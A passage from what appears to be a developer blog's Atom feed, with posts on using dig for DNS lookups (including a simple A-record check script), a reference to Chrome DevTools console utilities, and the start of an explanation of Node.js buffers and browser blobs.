&lt;p&gt;It sends queries to DNS servers and displays the answers it receives. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dig&lt;/code&gt; is designed to provide organized information about DNS records.&lt;/p&gt;

&lt;p&gt;When you run:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dig filipelinhares.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dig&lt;/code&gt; queries the default DNS server for the domain’s A record and displays:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Header Section:&lt;/code&gt; Details about the query (flags and status).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Question Section:&lt;/code&gt; The query that was sent.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Answer Section:&lt;/code&gt; The DNS records returned (like A, AAAA, MX, NS, etc.).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Additional Section:&lt;/code&gt; Extra records that provide context (e.g., IP addresses of the nameservers).&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dig @8.8.8.8 filipelinhares.com A
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;s&quot;&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.10.6 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @8.8.8.8 filipelinhares.com A&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;; (1 server found)&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;;; global options&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;+cmd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;;; Got answer&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;QUERY, status&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;NOERROR, id&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;13854&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;;; flags: qr rd ra; QUERY&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;1, ANSWER&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;1, AUTHORITY&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;0, ADDITIONAL&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;;; OPT PSEUDOSECTION&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;; EDNS: version&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;0, flags:; udp&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;;; QUESTION SECTION&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;;filipelinhares.com.            IN      A&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;;; ANSWER SECTION&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;filipelinhares.com.     600     IN      A       76.76.21.21&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;;; Query time&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;271 msec&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;;; SERVER&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;8.8.8.8#53(8.8.8.8)&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;;; WHEN&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Wed Mar 26 14:12:34 -03 &lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2025&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;;; MSG SIZE  rcvd&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;63&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also specify the type of DNS record you’re interested in. For example:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dig filipelinhares.com MX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This command retrieves the mail exchange records for the domain.&lt;/p&gt;

&lt;h3 id=&quot;script-to-check-if-dns-is-configured-correctly&quot;&gt;Script to check if DNS is configured correctly&lt;/h3&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;EXPECTED_IP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;93.184.216.34&quot;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;RESULT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;dig +short filipelinhares.com A&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$RESULT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EXPECTED_IP&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;DNS A record is correctly set to &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EXPECTED_IP&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;DNS A record mismatch: got &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$RESULT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; (expected &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EXPECTED_IP&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;).&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Chrome Console API</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/Chrome-Console-API.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/Chrome-Console-API</id>
   <content type="html">&lt;h3 id=&quot;logs&quot;&gt;Logs&lt;/h3&gt;

&lt;h4 id=&quot;consoleassert&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.assert&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reason&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x is expected to be less than y&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reason&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;consolecountlabel&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.count([label])&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;coffee&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;countReset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;countReset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;coffee&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;consoletimelabel&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.time([label])&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;square&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;timeEnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;consoletrace&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.trace()&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;first&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;second&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;second&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;third&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;third&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fourth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fourth&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;trace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;utilities&quot;&gt;Utilities&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_$&lt;/code&gt;
Get the last evaluated expression.&lt;/p&gt;

&lt;h4 id=&quot;--x&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$(), $$(), $x()&lt;/code&gt;&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.querySelector()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.querySelectorAll()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.evaluate()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;inspect&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inspect()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Open the selected element in &lt;em&gt;Elements&lt;/em&gt; panel.&lt;/p&gt;

&lt;h4 id=&quot;geteventlisteners&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getEventListeners()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Returns an object with an array of attached event listeners.&lt;/p&gt;

&lt;h4 id=&quot;keys-and-values&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keys()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;values()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Same as Object functions with the same name.&lt;/p&gt;

&lt;h4 id=&quot;monitorfunction-and-unmonitorfunction&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;monitor(function)&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unmonitor(function)&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;When the function specified is called, a message is logged to the console.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;monitor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;monitoreventsobject--events&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;monitorEvents(object [, events])&lt;/code&gt;&lt;/h4&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;monitorEvents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;resize&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;monitorEvents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;resize&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;scroll&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Event type&lt;/th&gt;
      &lt;th&gt;Corresponding mapped events&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;mouse&lt;/td&gt;
      &lt;td&gt;“mousedown”, “mouseup”, “click”, “dblclick”, “mousemove”, “mouseover”, “mouseout”, “mousewheel”&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;key&lt;/td&gt;
      &lt;td&gt;“keydown”, “keyup”, “keypress”, “textInput”&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;touch&lt;/td&gt;
      &lt;td&gt;“touchstart”, “touchmove”, “touchend”, “touchcancel”&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;control&lt;/td&gt;
      &lt;td&gt;“resize”, “scroll”, “zoom”, “focus”, “blur”, “select”, “change”, “submit”, “reset”&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;monitorEvents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;profilename-and-profileendname&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;profile([name])&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;profileEnd([name])&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;Starts a JavaScript CPU profiling session with an optional name.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Buffers Blobs and Byte Array</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/Buffers-Blobs-and-Byte-Array.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/Buffers-Blobs-and-Byte-Array</id>
   <content type="html">&lt;h3 id=&quot;buffers&quot;&gt;Buffers&lt;/h3&gt;
&lt;p&gt;In Node.js, a buffer is a temporary storage for binary data, allowing manipulation and processing of binary data directly. Buffers are instances of the Buffer class and are primarily used for handling raw binary data, such as reading from streams, file operations, network communications, and cryptographic operations. Buffers are mutable and can be resized.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Hello, World!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;blobs&quot;&gt;Blobs&lt;/h3&gt;
&lt;p&gt;Blobs (Binary Large Objects) are used in web browsers and represent raw data that can be of any type, typically used for handling binary data in the context of web APIs like the File API, XMLHttpRequest, and Fetch API. Blobs are immutable, which means once created, their content cannot be modified.&lt;/p&gt;

